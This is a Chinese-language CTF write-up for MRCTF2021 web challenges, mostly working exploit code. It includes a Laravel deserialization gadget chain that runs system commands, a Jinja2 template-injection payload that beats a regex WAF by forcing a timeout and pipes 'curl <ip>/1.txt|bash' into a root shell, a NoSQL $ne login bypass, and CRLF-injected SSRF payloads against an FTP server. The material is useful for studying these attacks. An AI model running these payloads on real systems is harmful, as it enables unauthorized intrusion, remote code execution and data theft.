MRCTF2021 web
ez_larave1
给了源码,发现是laravel。源码拿下来先看一下入口路由。
发现要添一个action验证才能反序列化。这里直接action=serialize.php就能过,感觉是非预期,不知道是什么考点。
然后发现是用/hello路由进入这个序列化点。
vendorlaravelframeworksrcIlluminateFilesystemFilesystem.php中出题人加了一个__toString类,这个类里用了一个原生类,差不多相当于scandir(),应该是通过这个获得key文件名字,然后直接访问拿到key
但是这个题session没删干净。。session里直接有payload
同时里面也有key。
第二处diff
这里把入口run给注释了。
我们需要找到另一处能够进入run函数的地方。
最终在这里发现了可以调用任意方法的函数。
直接调用run就可以了,调用了run之后就和第五空间那个laravel题一样了
EXP
<?php
// Exp来自chamd5 wp
//gadgets.php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters, $class, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}
namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind)
{
$this->bindings = $bind;
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class CollectionConfigurator
{
public $parent;
public $collection;
public $prefixes;
public function __construct($parent)
{
$this->prefixes = 1;
$this->parent = $parent;
$this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
}
}
}
namespace Faker {
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($validator)
{
$this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
$this->validator = $validator;
$this->maxRetries = 10;
}
}
}
namespace Symfony\Component\Routing {
class RouteCollection
{
}
}
namespace GuzzleHttp\Psr7{
class FnStream
{
public $_fn_close;
public function __construct($f)
{
$this->_fn_close=$f;
}
}
}
namespace {
$payload = new Illuminate\Foundation\Testing\PendingCommand(
"system", array('cat /flag'),
new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))),
new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")))
);
$a = new GuzzleHttp\Psr7\FnStream(array($payload, "run"));
// echo urlencode(serialize($a));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "http://node.mrctf.fun:10012/hello?key=W3lc0Me_2_MRCTF_2O2l&action=serialize.php&ser=".urlencode(serialize($a)),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 3,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_POSTFIELDS => "",
CURLOPT_HTTPHEADER => array(
"Postman-Token: 348e180e-5893-4ab4-b1d4-f570d69f228e",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}
}
wwwafed_app
这题刚开始不知道有源码,瞎测了半天。后来host告诉我有源码。、傻了
/source获得的源码
from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os
app = Flask(__name__)
@app.route("/")
def index():
return render_template('index.html')
@app.route("/waf")
def wafsource():
return open("waf.py").read()
@app.route("/source")
def appsource():
return open(__file__).read()
@app.route("/api/spider/<url>")
def spider(url):
url = base64.b64decode(url).decode('utf-8')
safeurl = shlex.quote(url)
block = os.popen("python3 waf.py " + safeurl).read()
if block == "PASS":
try:
req = requests.get("http://"+url,timeout=5)
return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
except:
return Template("访问{}失败!".format(safeurl)).render()
else:
return Template("WAF已拦截,请不要乱输入参数!").render()
if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
看了一眼。典型的模板注入。
主要是如何过这个waf
import re,sys
import timeout_decorator
@timeout_decorator.timeout(5)
def waf(url):
# only xxx.yy-yy.zzz.mrctf.fun allow
pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
if re.match(pat,url) is None:
print("BLOCK",end='') # 拦截
else:
print("PASS",end='') # 不拦截
if __name__ == "__main__":
try:
waf(sys.argv[1])
except:
print("PASS",end='')
这里有一个@timeout_decorator.timeout(5)
如果我们的程序运行市场超过5秒那么就会报错,也就是这个waf就失效了。
关于正则回溯https://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
而正则匹配试试非常消耗资源的,只要让url长一点,超过5秒,那么waf就没了
exp
import requests
import base64
for i in range(1,2):
try:
commd = """node.mrctf.fun"""+'a'*500+"""{{a.__init__.__globals__.__builtins__.__import__("os").popen("curl 47.97.123.81/1.txt|bash").read()}}"""
# pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
# print()
burp0_url = "http://node.mrctf.fun:15000/api/spider/" + base64.b64encode(commd.encode()).decode()
proxies = {
"http": "http://127.0.0.1:8080",
}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0",
"Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://node.mrctf.fun:15000/"}
r = requests.get(burp0_url, headers=burp0_headers)
print(r.text)
except:
pass
弹回来的shell还是root权限
Half-Nosqli
这道题赛后做的。
刚开始没扫目录,没啥思路,扫出来东西的时候离比赛结束也不远了。
http://node.mrctf.fun:23000/docs
可以看到有两个接口。直接访问home发现没权限。
思路应该是/login接口注入,然后/home接口ssrf,打ftp
这里用的是https://www.anquanke.com/post/id/97211#h2-10
Node.js中的NoSQL注入。这个题目名字也提示了
payload{"email":{"$ne": ""},"password":{"$ne": ""}}
然后访问home时加个http头
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYUBhLmNvbSIsImV4cCI6MTYxODE5ODM3NSwiaWF0IjoxNjE4MTk0Nzc1fQ.6aSCtNlDYVAeGsAxhAbEB1wrH4ABTxIUmbRHC8PauIo
就能访问了。
到打ftp这一步,并不能直接访问ftp,应该是做了某些限制,只能用http协议。
然后打ftp服务器涉及到一个http拆分攻击 进行crlf注入
详细解释在这里,我就不说了
https://blog.szfszf.top/article/41/
构造好以后先用自己打自己服务器看看
发现命令很整齐,应该可以
关于ftp命令可以看看https://www.shuzhiduo.com/A/n2d9ZDaBzD/
比赛的时候就做到这里了,这样死活不出flag。不知道为什么。.
赛后第二天试了一下匿名用户anonymous于是flag就出来了。。
先构造好payload
{"url":"http://47.97.123.81:11451/\u010D\u010AUSER\u0120anonymous\u010D\u010ACWD\u0120.\u010D\u010ATYPE\u0120A\u010D\u010APORT\u012047,97,123,81,7,208\u010D\u010ARETR\u0120flag\u010D\u010A"}
然后打ftp服务器getflag
{"url":"http://ftp:8899/\u010D\u010AUSER\u0120anonymous\u010D\u010ACWD\u0120.\u010D\u010ATYPE\u0120A\u010D\u010APORT\u012047,97,123,81,7,208\u010D\u010ARETR\u0120flag\u010D\u010A"}
web_check_in
签到不会,等wp下来再复现8
师傅找key是正末访问得阿